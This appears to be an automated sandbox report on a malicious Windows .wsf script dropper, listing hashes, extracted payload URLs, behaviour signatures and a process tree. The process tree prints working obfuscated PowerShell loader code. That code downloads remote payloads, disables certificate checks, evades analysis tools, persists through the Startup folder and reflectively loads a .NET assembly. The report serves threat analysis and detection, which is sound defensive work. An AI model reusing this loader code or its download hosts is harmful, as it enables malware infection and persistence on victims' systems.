Overview

overview

10

Static

static

1

ba164adf0e...f5.wsf

windows7-x64

10

ba164adf0e...f5.wsf

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    140s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 15:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    ba164adf0e3d7ada31a03e9bf73e26f5.wsf

  • Size

    31KB

  • MD5

    ba164adf0e3d7ada31a03e9bf73e26f5

  • SHA1

    2580810407a9e6189d3ea643c6a49679babf230c

  • SHA256

    61801bf75d5af4f325190112cdd42e811a857d77284db0cd8022f926ae922823

  • SHA512

    c674aeb0c34c9b9c66b99384f5a75ab77aad9c14356f33a0ef741325f1de455af635f73bc14b8283ed7890cfbf875adbfb9d48a84904cd080a6f22962dba9e57

  • SSDEEP

    768:i+vnInInInInInInInIncnjnInInInInInInInInInInInInInInInInm:i+f22222222yL2222222222222222m

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
exe.dropper

https://drive.google.com/uc?export=download&id=
exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $hscsj = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAFAAdw' + [char]66 + 'XAFcAdAAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'PAG8AQQ' + [char]66 + 'NAHEALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAUA' + [char]66 + '3AFcAVw' + [char]66 + '0ACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAUA' + [char]66 + '3AFcAVw' + [char]66 + '0ACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAFAAdw' + [char]66 + 'XAFcAdAAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'QAHcAVw' + [char]66 + 'XAHQAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'KAHkAVQ' + [char]66 + 'EAHEAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'QAHcAVw' + [char]66 + 'XAHQAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'KAHkAVQ' + [char]66 + 'EAHEAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoARA' + [char]66 + 'tAHcAbQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAEoAeQ' + [char]66 + 'VAEQAcQAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAeQ' + [char]66 + 'NAGUAcw' + [char]66 + 'hAEIAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAIAA7AGMAZQ' + [char]66 + 'tAFIAYwAkACAAPQAgAGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7ACAAKQAgAGsAZA' + [char]66 + '6AHgAYwAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkACAAPQAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACAAPQAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAOwApACcAdA' + [char]66 + '4AHQALgAxADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAA7ACkAIAAnAHQAeA' + [char]66 + '0AC4AMQAwAEwATA' + [char]66 + 'EAC8AMQAwAC8AJwAgACsAIAAnAHIAZQ' + [char]66 + '0AHAAeQ' + [char]66 + 'yAGMAcA' + [char]66 + 'VAC8Acg' + [char]66 + 'iAC4AbQ' + [char]66 + 'vAGMALg' + [char]66 + '0AGEAcg' + [char]66 + 'iAHYAaw' + [char]66 + 'jAHMAZQ' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACgAIAA9ACAAaw' + [char]66 + 'kAHoAeA' + [char]66 + 'jACQAOw' + [char]66 + '9ADsAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIA' + [char]66 + 'uAHIAdQ' + [char]66 + '0AGUAcgA7ACkAKQ' + [char]66 + 'lAHMAYQ' + [char]66 + 'iAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TACQAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAdA' + [char]66 + 'lAEcALgA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkADsAew' + [char]66 + '5AE0AZQ' + [char]66 + 'zAGEAQgAgAG4Abw' + [char]66 + 'pAHQAYw' + [char]66 + 'uAHUARgA7AGUAcw' + [char]66 + 'hAGIAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAcA' + [char]66 + 'tAHQAegAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHAAbQ' + [char]66 + '0AHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + '0AHAAbQ' + [char]66 + '0AHoAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAG4AbA' + [char]66 + 'nAHAAbgAkACgAIAA9ACAAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAbg' + [char]66 + 'sAGcAcA' + [char]66 + 'uACQAKAAgAD0AIA' + [char]66 + 'uAGwAZw' + [char]66 + 'wAG4AJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAG4AbA' + [char]66 + 'nAHAAbgAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$hscsj = $hscsj.replace('уЦϚ' , 'B') ;;$ddlzy = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $hscsj ) ); $ddlzy = $ddlzy[-1..-$ddlzy.Length] -join '';$ddlzy = $ddlzy.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf');powershell $ddlzy
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$npgln = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$npgln = ($npgln + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$npgln = ($npgln + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ztmpt = (New-Object Net.WebClient);$ztmpt.Encoding = [System.Text.Encoding]::UTF8;$ztmpt.DownloadFile($npgln, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$Stringbase;Function BaseMy{;$Fyfdz = [System.Text.Encoding]::UTF8.GetString([system.Convert]::FromBase64String($Stringbase));return $Fyfdz;};$cxzdk = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $cxzdk ) ;$Stringbase = $cRmec; $cRmec = BaseMy;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$qDUyJ = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$mwmDz = $PhrlN.DownloadString( $ufKME ) ;$mwmDz | Out-File -FilePath $qDUyJ -force ;$tWWwP = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\ba164adf0e3d7ada31a03e9bf73e26f5.wsf'' ; $ryaeG = (Get-Content -Path ' + $qDUyJ + ' -Encoding UTF8);' ;$tWWwP += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$tWWwP += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$tWWwP += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$tWWwP += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/qMAoO/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$tWWwP | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2564
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2240
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:1976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
